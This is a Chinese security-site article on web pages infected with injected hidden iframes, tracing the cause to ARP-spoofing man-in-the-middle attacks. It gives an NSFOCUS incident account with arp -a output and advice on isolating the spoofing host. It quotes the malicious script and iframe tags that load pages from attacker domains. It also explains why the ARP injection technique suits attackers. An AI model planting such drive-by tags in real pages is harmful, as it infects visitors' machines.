设为首页 | 加入收藏 | 繁體中文 | 网站地图
 | 网站首页 | 新闻中心 | 病毒·漏洞 | 攻防分析 | 网吧专题 | 下载中心 | 论坛 | 网上报警 | 
最 新 推 荐
  • 没有推荐文章
  • 最 新 热 门
    ·用SSM系统防火墙,跟流氓软件说
    ·反病毒软件:2006最爱哪个?
    ·Email-Worm.Win32.Ghost.X 分析
    ·病毒是怎样破坏硬件的
    ·Windows下的文件完整性检查工具
    ·深入剖析MY123前生今世
    ·用安全网关轻松搞定蠕虫病毒
    ·对付MY123等主页锁定的终极一招
    ·木马下载器sna.exe下载的隐匿木
    ·Microsoft Windows Ndistapi.s

     您现在的位置: 中国网络信息安全联盟 >> 病毒·漏洞 >> 病毒防治 >> 文章正文
    网站被插入框架病毒代码解决方案 【字体:
    作者:佚名   文章来源:本站原创      
    客户端打开网页时,无论是,ASP,ASPX,HTM文件,全部都被挂了马...
    < src=http://sb.25u.com/dir/index_pic/1.js></>  

    1.js文件的内容是:

    write('Do you Qihoo?rame src="http://sb.25u.com/dir/index_pic/index.htm" width="0" height="0" scrolling="no" border="0"></i--X>');
    write('Do you Qihoo?rame src="http://sb.25u.com/dir/index_pic/tj.htm" width="0" height="0" scrolling="no" border="0"></i--X>');


    已经在服务器弄了半天了,都无法查到原因和清除.用了很多专杀工具都不行.
    在每个文件的头部加了如上代码。
    源代码没有挂马内容。
    IIS中ISAPI和重定向及域名,均没有发现异常。
    --------------------------------------------------------
    后来在落伍发现了相关的资料,提供参考如下:
    最近这种病毒比较流行,在网上看到不少网友说自己的机器出现了类似的情况,就搜集了一些资料,希望对大家有帮助。


    现象:不管是访问服务器上的任何网页,就连404的页面也会在<html>后加入
    <i SRc=http://cool.47555.com/k.htm width=1 height=1 border=0></I>,挂马的位置在html标记左右,上面这段恶意代码,它会每隔几秒加入代码,也就是说在输出具体的东西之前就被挂了,有时有有时又没有,不是网页源代码问题,也没有在网页源代码中加入恶意代码,即使重装服务器,格式化重分区过第一个硬盘,放上去网站没多久一样再会出现这种情况。


    首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题.

    那么剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的).


    目的:通过arp欺骗来直接挂马
    优点:可以直接通过arp欺骗来挂马.

    通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码.
    但这样存在局限性:
    1.管理员经常不登陆,那么要很久才能监听到密码
    2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.

    优点:
    1.可以不用获得目标主机的权限就可以直接在上面挂马
    2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句.
    3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果.


    原理:arp中间人攻击,实际上相当于做了一次代理。

    正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
    arp中间人攻击时候: A---->C---->B
    B---->C---->A
    实际上,C在这里做了一次代理的作用

    那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如<i>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

    什么是ARP?

    英文原义:Address Resolution Protocol  
    中文释义:(RFC-826)地址解析协议 局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。所谓“地址解析”就是主机在
    发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址以保证通信的顺利进行。  

    注解:简单地说,ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址,即网卡的MAC地址,比如IP地址为192.168.0.1网卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包,即ARP请求,然后目标主机向该主机发送一个含有IP地址和MAC地址数据包,通过MAC地址两个主机就可以实现数据传输了。  

    应用:在安装了以太网网络适配器的计算机中都有专门的ARP缓存,包含一个或多个表,用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息,可以使用arp命令来完成,比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容;键入“arp -d IPaddress”表示删除指定的IP地址项(IPaddress表示IP地址)。arp命令的其他用法可以键入“arp /?”查看到。

    解决方案如下:
    联系机房,用拨网线的排除法,找出同路由内中了类似47555病毒的机器,隔离。杀毒。
    其他机器,遇到这种情况,重装系统是没用的。
    去了趟机房发现:
    很多人在忙着。已经乱套了,好几个大客户在跟进中。
    中国化工网,钱塘在线等知名网站,都在里面。
     
    ----------------------------------------------------------------------------------------------------------
     以下是来自绿盟的相关资料:
    ----------------------------------------------------------------------------------------------------------
    绿盟同机房路由被劫持以及处理的全过程

    绿盟于3月4到5日受到arp欺骗攻击,路由被劫持,特把资料备份下来以备查证(绿盟已经恢复了,现在写写处理过程):
    绿盟网站那基本上没有任何动态功能,给黑可能是没有的-------除非服务器的登录密码被破解了,
    想到绿盟主站给“正规”挂马是没有可能的,除非广告的站或负责统计的站给挂马了
    所以我直接排除了绿盟给黑的可能,直接查arp欺骗
    被攻击时

    QUOTE:

    x:\Documents and Settings\Administrator>arp -a
    Interface: *.123.71.119 --- 0x2
      Internet Address      Physical Address      Type
      58.123.71.1           00-13-60-*-8e-c2     dynamic
    Interface: *.123.225.231 --- 0x3
      Internet Address      Physical Address      Type
      222.123.225.2         00-15-c5-ec-e2-8d     dynamic
      222.123.225.*         00-c0-*-82-5c-fa     dynamic

    00-15-c5-ec-e2-8d  这个机器冒充网关,劫持了绿盟
    在代码上加上木马代码

    <i SRc=http://cool.47555.com/k.htm width=1 height=1 border=0></I>

    绿盟初步确定是47555.com一伙所为,网上搜索就知道了

    然后查内网的机器发现 00-15-c5-ec-e2-8d  就是 *.123.225.232 和绿盟的服务器(*.123.225.231 )同一网段
    于是立即关闭该机器,刷新arp,恢复正常

    正常后查询arp 结果如下

    QUOTE:

    x:\Documents and Settings\Administrator>arp -a
    Interface: *.123.71.119 --- 0x2
      Internet Address      Physical Address      Type
      58.123.71.1           00-13-60-*-8e-c2     dynamic
    Interface: *.123.225.231 --- 0x3
      Internet Address      Physical Address      Type
      222.123.225.2    00-0e-38-6e-*-bf     dynamic

    网关从 00-15-c5-ec-e2-8d  恢复为 00-0e-38-6e-*-bf
    网站也恢复正常了

    善后处理暂时保密,绿盟已经做了防止arp攻击的措施
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    设为首页 / 加入收藏 / 联系站长 / 友情链接 / 版权申明
    信息产业部备案序列号:沪ICP备05030014号